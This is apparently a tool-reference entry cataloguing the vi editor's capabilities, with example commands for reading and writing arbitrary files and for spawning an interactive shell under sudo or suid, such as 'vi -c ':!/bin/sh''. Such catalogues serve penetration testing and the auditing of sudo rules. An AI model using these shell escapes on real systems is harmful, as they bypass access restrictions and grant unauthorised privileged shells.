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vi

Vi text editor; can execute commands, read/write files, and spawn shells.

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Capabilities

system.file.read

system.file.write

security.privilege-escalation.shell

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

Resource	Value
CPU	low
Memory	16 MB
Network	none
Disk I/O	low

Examples

Read arbitrary files (sudo, suid, unprivileged)

vi /path/to/input-file

Write to arbitrary files (sudo, suid, unprivileged)

vi /path/to/output-file
iDATA
^[
w

Spawn an interactive shell (sudo, suid, unprivileged)

vi -c ':!/bin/sh' /dev/null

Spawn an interactive shell (sudo, suid, unprivileged)

vi -c ':shell'

Spawn an interactive shell (sudo, suid, unprivileged)

vi -c ':set shell=/bin/sh | shell'

Spawn an interactive shell (sudo, suid, unprivileged)

vi -c :terminal /bin/sh

Documentation

vi

vi is a command-line utility. Visual editor, can execute commands and read/write files; can also read arbitrary files, write to arbitrary files, spawn an interactive shell.

References

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